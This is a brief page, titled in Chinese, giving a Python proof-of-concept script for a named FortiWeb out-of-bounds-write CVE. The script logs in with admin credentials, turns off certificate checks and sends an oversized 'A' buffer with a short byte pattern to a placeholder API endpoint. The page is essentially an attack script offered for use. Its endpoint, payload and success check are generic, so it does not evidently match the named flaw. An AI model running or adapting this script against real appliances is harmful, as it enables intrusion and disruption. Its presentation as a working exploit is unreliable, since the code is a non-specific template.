CVE-2026-40688 Fortinet FortiWeb越界写入漏洞

import requests # Proof of Concept for CVE-2026-40688 # Target: Fortinet FortiWeb # Description: Sends a crafted payload to trigger Out-of-Bounds Write target_url = "https://<target-ip>/api/vulnerable_endpoint" # Authentication is typically required (PR:H) session = requests.Session() login_data = {"username": "admin", "password": "password"} session.post("https://<target-ip>/login", data=login_data, verify=False) # Craft payload to trigger buffer overflow/Out-of-Bounds write # Adjust buffer size and pattern based on specific version analysis payload = b"A" * 5000 + b"\xeb\xfe" # Example pattern headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-40688-Test" } try: response = session.post(target_url, data=payload, headers=headers, verify=False, timeout=10) print(f"Response Status: {response.status_code}") if response.status_code == 500 or response.status_code == 200: print("Vulnerability potentially triggered.") except Exception as e: print(f"Error: {e}")